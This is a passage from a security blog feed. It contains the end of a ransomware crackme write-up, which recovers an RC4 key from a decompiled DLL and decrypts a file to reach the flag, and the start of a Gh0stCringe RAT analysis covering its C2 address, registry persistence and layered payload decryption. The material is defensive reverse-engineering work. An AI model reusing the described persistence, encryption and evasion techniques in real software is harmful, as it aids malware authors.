<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl enc <span class="nt">-aes-256-ecb</span> <span class="nt">-d</span> <span class="nt">-in</span> encrypted_libgen.dll <span class="nt">-K</span> 14f137ab39f56d7ae16b70c987bd85b0033fd158a6f010bf926048952264f807 <span class="nt">-out</span> libgen.dll
</code></pre></div></div>

<h1 id="libgendll-analysis">libgen.dll Analysis</h1>
<p>Now, we know this DLL is used to generate the RC4 key used to encrypt the .html file, so, now the goal is to recover this key to decrypt the file.</p>

<p>As stated before, from the function <code class="language-plaintext highlighter-rouge">sub_1860()</code> called by <code class="language-plaintext highlighter-rouge">main()</code> we know 3 different functions of this DLL are called:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">gen_from_file()</code> passing <code class="language-plaintext highlighter-rouge">anonymous</code> as argument</li>
  <li><code class="language-plaintext highlighter-rouge">get_result_bytes()</code> passing <code class="language-plaintext highlighter-rouge">Block</code> and its size as arguments</li>
  <li><code class="language-plaintext highlighter-rouge">gen()</code> passing a <code class="language-plaintext highlighter-rouge">Buffer</code> and its size (<code class="language-plaintext highlighter-rouge">v3</code>) as argument</li>
</ul>

<p>Actually, since the victim’s machine has the <code class="language-plaintext highlighter-rouge">anonymous</code> file, only <code class="language-plaintext highlighter-rouge">gen_from_file()</code> is called, given that the function returns after the <code class="language-plaintext highlighter-rouge">Block</code> buffer is populated. Anyway, this is irrelevant, since the remaining code of <code class="language-plaintext highlighter-rouge">sub_1860()</code> still opens <code class="language-plaintext highlighter-rouge">anonymous</code> file and passes its content to <code class="language-plaintext highlighter-rouge">gen()</code>, resulting in the same function executed. In fact, <code class="language-plaintext highlighter-rouge">gen_from_file()</code> takes a file name string as input, opens the file and then pass its content to <code class="language-plaintext highlighter-rouge">gen()</code>, the function that actually generate the RC4 password.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_BYTE</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">gen_from_file</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">_BYTE</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-20h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">Buffer</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-18h]</span>
  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+34h] [rbp-Ch]</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">Stream</span><span class="p">;</span> <span class="c1">// [rsp+38h] [rbp-8h]</span>

  <span class="n">Stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">Stream</span> <span class="p">)</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">fseek</span><span class="p">(</span><span class="n">Stream</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
  <span class="n">v4</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
  <span class="n">rewind</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">Buffer</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">v4</span><span class="p">))</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">fread</span><span class="p">(</span><span class="n">Buffer</span><span class="p">,</span> <span class="mi">1u</span><span class="p">,</span> <span class="n">v4</span><span class="p">,</span> <span class="n">Stream</span><span class="p">);</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
    <span class="n">v2</span> <span class="o">=</span> <span class="n">gen</span><span class="p">(</span><span class="n">Buffer</span><span class="p">,</span> <span class="n">v4</span><span class="p">);</span>
    <span class="n">free</span><span class="p">(</span><span class="n">Buffer</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">v2</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">Stream</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">gen()</code> function contains the algorithm used to generate the RC4 key starting from the content of a buffer. Here’s the decompiled code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">_BYTE</span> <span class="o">*</span><span class="kr">__fastcall</span> <span class="nf">gen</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">bufLen</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">_BYTE</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span> <span class="c1">// rax</span>
  <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">j</span><span class="p">;</span> <span class="c1">// [rsp+3h] [rbp-Dh]</span>
  <span class="kt">char</span> <span class="n">n</span><span class="p">;</span> <span class="c1">// [rsp+4h] [rbp-Ch]</span>
  <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">m</span><span class="p">;</span> <span class="c1">// [rsp+5h] [rbp-Bh]</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]</span>

  <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span> <span class="mi">2</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="n">bufLen</span> <span class="p">)</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;=</span> <span class="n">bufLen</span> <span class="p">)</span>
        <span class="p">{</span>
          <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
          <span class="n">a1</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
          <span class="n">i</span> <span class="o">+=</span> <span class="mi">3LL</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;=</span> <span class="n">bufLen</span> <span class="p">)</span>
        <span class="p">{</span>
          <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
          <span class="n">j</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
          <span class="k">if</span> <span class="p">(</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">3u</span> <span class="p">)</span>
            <span class="n">a2</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
          <span class="n">i</span> <span class="o">+=</span> <span class="mi">3LL</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;=</span> <span class="n">bufLen</span> <span class="p">)</span>
        <span class="p">{</span>
          <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
          <span class="n">m</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
          <span class="n">n</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
          <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">m</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
            <span class="n">a3</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">=</span> <span class="n">a1</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">-</span> <span class="n">n</span><span class="p">;</span>
          <span class="k">else</span>
            <span class="n">a3</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">=</span> <span class="n">n</span> <span class="o">+</span> <span class="n">a1</span><span class="p">[</span><span class="n">m</span><span class="p">];</span>
          <span class="n">i</span> <span class="o">+=</span> <span class="mi">3LL</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&gt;=</span> <span class="n">bufLen</span> <span class="p">)</span>
        <span class="p">{</span>
          <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>

          <span class="n">resultArray</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="n">a2</span><span class="p">[</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]</span> <span class="o">^</span> <span class="n">a3</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]];</span>
          <span class="n">i</span> <span class="o">+=</span> <span class="mi">2LL</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">resultArray</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="nl">default:</span>
        <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Instead of trying to understand its logic, I’ve implemented the algorithm in a Python script and executed with the content of <code class="language-plaintext highlighter-rouge">anonymous</code> file (extracted from the pcap file). The result was the following:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python gen_rc4_key.py anonymous 
r4ns0mw@rE_c4n_d357r0y_f1l3s_n0w
</code></pre></div></div>

<p>Here’s the script code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">a1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">256</span>
<span class="n">a2</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">32</span>
<span class="n">a3</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">256</span>
<span class="n">resultArray</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">256</span>
<span class="n">result</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">buf</span> <span class="o">=</span> <span class="p">[]</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"./anonymous"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">input</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">269</span><span class="p">):</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="nb">input</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
        <span class="n">buf</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

    <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">bufLen</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>

    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="n">bufLen</span><span class="p">:</span>
            <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">c</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;=</span> <span class="n">bufLen</span><span class="p">:</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">a1</span><span class="p">[</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">3</span>
        <span class="k">elif</span> <span class="n">c</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;=</span> <span class="n">bufLen</span><span class="p">:</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">j</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="k">if</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">3</span><span class="p">:</span>
                    <span class="n">a2</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">3</span>
        <span class="k">elif</span> <span class="n">c</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span> <span class="o">&gt;=</span> <span class="n">bufLen</span><span class="p">:</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">m</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="n">n</span> <span class="o">=</span> <span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">m</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="n">a3</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">=</span> <span class="n">a1</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">-</span> <span class="n">n</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="n">a3</span><span class="p">[</span><span class="n">m</span><span class="p">]</span> <span class="o">=</span> <span class="n">n</span> <span class="o">+</span> <span class="n">a1</span><span class="p">[</span><span class="n">m</span><span class="p">]</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">3</span>
        <span class="k">elif</span> <span class="n">c</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&gt;=</span> <span class="n">bufLen</span><span class="p">:</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">bufLen</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">resultArray</span><span class="p">[</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]]</span> <span class="o">=</span> <span class="n">a2</span><span class="p">[</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]</span> <span class="o">^</span> <span class="n">a3</span><span class="p">[</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]]</span>
                <span class="n">i</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">2</span>
        <span class="k">elif</span> <span class="n">c</span> <span class="o">==</span> <span class="mi">5</span><span class="p">:</span>
            <span class="n">result</span> <span class="o">=</span> <span class="n">resultArray</span>
            <span class="k">break</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span>
            <span class="k">break</span>

<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">resultArray</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
<span class="k">print</span><span class="p">()</span>
</code></pre></div></div>

<h1 id="obtaining-the-flag">Obtaining the Flag</h1>
<p>The last thing to do is to recover the flag. Surely it is inside the remaining html file encrypted, since it is the last file to recover. We know the algorithm and the password used to encrypt it. From the pcap file we can recover its content.</p>

<p>Using CyberChef, the decryption was successfull:</p>

<p><img src="/assets/crackmes_ransomware/user.html.png" alt="user.html File Recovered" /></p>

<p>Opening the html file file revealed the flag:</p>

<p><img src="/assets/crackmes_ransomware/flag.png" alt="Final Flag" /></p>

<h1 class="no_toc" id="references">References</h1>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="">https://crackmes.one/crackme/6848e4102b84be7ea77437ba</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="">https://en.wikipedia.org/wiki/RC4</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Roberto Perico</name><email>roberperico@gmail.com</email></author><category term="ransomware" /><category term="crackme" /><summary type="html"><![CDATA[On the famous crackmes.one site, a challenge named nukoneZ's Ransomware was awarded as the best challenge for the month of June 2025. This challenge was the last to be awarded, since it seems the website didn’t announce other winners in the following months. Moved by curiosity, I’ve played this challenge and here’s the writeup.]]></summary></entry><entry><title type="html">Gh0stCringe RAT analysis</title><link href="https://onebyteram.github.io/malware/rat/2025/08/23/rat.html" rel="alternate" type="text/html" title="Gh0stCringe RAT analysis" /><published>2025-08-23T22:00:00+00:00</published><updated>2025-08-23T22:00:00+00:00</updated><id>https://onebyteram.github.io/malware/rat/2025/08/23/rat</id><content type="html" xml:base="https://onebyteram.github.io/malware/rat/2025/08/23/rat.html"><![CDATA[<p>As exercise, I’ve decided to find a malware sample on MalwareBazaar to analyze. I was looking for a Windows malware written in C/C++, so I chose the sample described in this post. This is not a new threat on the web and after the analysis, with more knowledge about its functionalities, I can say that, probably, it’s a variant of a Ghost RAT malware, known as Gh0stCringe.</p>

<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a></li>
  <li><a href="#dynamic-analysis" id="markdown-toc-dynamic-analysis">Dynamic analysis</a></li>
  <li><a href="#static-analysis" id="markdown-toc-static-analysis">Static analysis</a>    <ul>
      <li><a href="#loader-analysis" id="markdown-toc-loader-analysis">Loader analysis</a></li>
      <li><a href="#dll-analysis" id="markdown-toc-dll-analysis">DLL analysis</a></li>
    </ul>
  </li>
  <li><a href="#conclusion" id="markdown-toc-conclusion">Conclusion</a></li>
</ul>

<h1 id="introduction">Introduction</h1>
<p>The sample is documented at <a href="https://bazaar.abuse.ch/sample/04795669ada92df9a0361b6e169be7b6c23c888f6a56a96c35bd8cd4c09cd6c9/">this</a> link and here are some details:</p>

<table>
  <thead>
    <tr>
      <th>Name</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1.exe</code></td>
      <td><code class="language-plaintext highlighter-rouge">04795669ada92df9a0361b6e169be7b6c23c888f6a56a96c35bd8cd4c09cd6c9</code></td>
    </tr>
  </tbody>
</table>

<p>This malware is a standard PE, it’s not obfuscated but it contains an embedded DLL protected by two different encryption layers, in order to bypass antiviruses and EDRs detection. Once decrypted, the DLL is injected into memory and executed. In fact, it’s the DLL to perform all the malicious operations this malware does. In this post I’ll share a deep dive on these binary files.</p>

<h1 id="dynamic-analysis">Dynamic analysis</h1>
<p>First of all, i ran the executable to try to understand what it did. The execution environment was composed by 2 VMs, isolated inside the same internal network, without Internet access. These machine were:</p>

<table>
  <thead>
    <tr>
      <th>OS</th>
      <th>IP</th>
      <th>Role</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Windows 10</td>
      <td><code class="language-plaintext highlighter-rouge">10.0.0.2</code></td>
      <td>Victim’s machine</td>
    </tr>
    <tr>
      <td>Kali Linux</td>
      <td><code class="language-plaintext highlighter-rouge">10.0.0.1</code></td>
      <td>GW and DNS (fakedns) for the first VM</td>
    </tr>
  </tbody>
</table>

<p>Once executed, i’ve seen that the malware tried to send some data to the <code class="language-plaintext highlighter-rouge">156.236.72.163</code> address, to port tcp/8000:</p>

<p><img src="/assets/network_traffic.png" alt="captured traffic" class="center-image" /></p>

<p>The data appeared encrypted in some way, but the repeated <code class="language-plaintext highlighter-rouge">a3</code> bytes looked suspicious, as they suggested an encryption method using this single byte XORed through all the data. Trying to perform a XOR with <code class="language-plaintext highlighter-rouge">a3</code> resulted in another incomprehensible bunch of bytes, so there should be another encryption layer.</p>

<p>Another action this malware did was set persistence. This was obtained modifying the registry key <code class="language-plaintext highlighter-rouge">HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default)</code>. In this way the malware would have been executed on every machine reboot.</p>

<p><img src="/assets/persistence.png" alt="persistence through registry key" class="center-image" /></p>

<p>Among all the registry operation, it jumped out a failed attempt to create a service. So, probably, this malware tried different techniques in order to obtain persistence:</p>

<p><img src="/assets/persistence_access_denied.png" alt="presistence with services" class="center-image" /></p>

<p>As you can see in the image above, the malware tried to create a service named <code class="language-plaintext highlighter-rouge">Rsoyac uyuyscoi</code> but since it did not have enough privileges, the access to the registry key resulted in an access denied error.</p>

<p>I did not notice others signals that jumped out during the malware execution. In addition, and sadly, i discovered that the C2 server the malware tried to send data to, was not reachable anymore, so it was impossible to analyze the interaction between this malware and its remote server.</p>

<p>After this quick session of dynamic analysis, i’ve decided to start with a deeper static analysis, trying to do some reverse engineering in order to unveil its hidden details.</p>

<h1 id="static-analysis">Static analysis</h1>
<h2 id="loader-analysis">Loader analysis</h2>
<p>The file <code class="language-plaintext highlighter-rouge">1.exe</code> is a 32-bit malware written in C++. It is not packed, but its import table does not contain all the functions it uses while running, since it only imports <code class="language-plaintext highlighter-rouge">KERNEL32.dll</code>.</p>

<p><img src="/assets/imports.png" alt="malware import table" class="center-image" /></p>

<p>Note: the sample was loaded in a disassembler at base address <code class="language-plaintext highlighter-rouge">0x00400000</code>, so all the addresses reported below are relative to this base.</p>

<p>Once imported the sample into IDA and disassembled, it was possible to note that the <code class="language-plaintext highlighter-rouge">WinMain</code> function is a wrapper of another function, the one that really does something. I’ve called this function <code class="language-plaintext highlighter-rouge">real_main</code>:</p>

<figure class="highlight"><pre><code class="language-nasm" data-lang="nasm"><span class="nf">push</span>    <span class="nb">ebp</span>
<span class="nf">mov</span>     <span class="nb">ebp</span><span class="p">,</span> <span class="nb">esp</span>
<span class="nf">push</span>    <span class="nv">offset</span> <span class="nv">aStudyhard</span> <span class="c1">; "StudyHard"</span>
<span class="nf">call</span>    <span class="nv">real_main</span>
<span class="nf">add</span>     <span class="nb">esp</span><span class="p">,</span> <span class="mi">4</span>
<span class="nf">xor</span>     <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
<span class="nf">pop</span>     <span class="nb">ebp</span>
<span class="nf">retn</span>    <span class="mh">10h</span></code></pre></figure>

<p>In different points of the code, an obfuscation technique based on C++ exception was used. However, IDA correctly handled them quite well, and in points where it was not clear the next instructions executed, using a debugger solved the problem.</p>

<p>The <code class="language-plaintext highlighter-rouge">real_main</code> function calls two interesting functions. Each of them takes, among other arguments, an address pointing to the start of a long byte buffer, and both functions perform operations on these bytes. This address is <code class="language-plaintext highlighter-rouge">0x0041105C</code>, and it is likely encrypted, with these functions responsible for decrypting it. I’ve named them <code class="language-plaintext highlighter-rouge">decrypt_1</code> and <code class="language-plaintext highlighter-rouge">decrypt_2</code>.</p>

<p><code class="language-plaintext highlighter-rouge">decrypt_1</code> takes as argument the address of the encrypted buffer, the size of it and a seed used to derive the <code class="language-plaintext highlighter-rouge">key</code> used to perform decryption operations. It can be summarized in this way:</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span> <span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span> <span class="p">)</span>
<span class="p">}</span></code></pre></figure>

<p>where <code class="language-plaintext highlighter-rouge">key == 0x7a</code>, derived starting from the seed <code class="language-plaintext highlighter-rouge">0x4381</code> using the following code:</p>

<figure class="highlight"><pre><code class="language-nasm" data-lang="nasm"><span class="nf">mov</span>     <span class="nb">eax</span><span class="p">,</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="nv">seed</span><span class="p">]</span>
<span class="nf">and</span>     <span class="nb">eax</span><span class="p">,</span> <span class="mh">0FFh</span>
<span class="nf">cdq</span>
<span class="nf">mov</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="mh">5Fh</span>
<span class="nf">idiv</span>    <span class="nb">ecx</span>
<span class="nf">add</span>     <span class="nb">edx</span><span class="p">,</span> <span class="mh">58h</span>
<span class="nf">mov</span>     <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="nv">key</span><span class="p">],</span> <span class="nb">dl</span></code></pre></figure>

<p><code class="language-plaintext highlighter-rouge">decrypt_2</code>, instead, seems to be an implementation of the (XX)TEA algorithm, due to the presence of the constants <code class="language-plaintext highlighter-rouge">0x61C88647</code> and <code class="language-plaintext highlighter-rouge">0x9E3779B9</code>. This function takes as argument the key (an array of integer <code class="language-plaintext highlighter-rouge">[8, 0, 8, 1]</code>), the buffer length negated and the address to the buffer to decrypt. I did not spend time to analyze this function, since i was more interested to the content of the buffer once decrypted. So, using a debugger, i’ve checked the buffer once both of the decryption functions terminated their execution.</p>

<p><img src="/assets/dll_decrypted.png" alt="DLL decrypted" class="center-image" /></p>

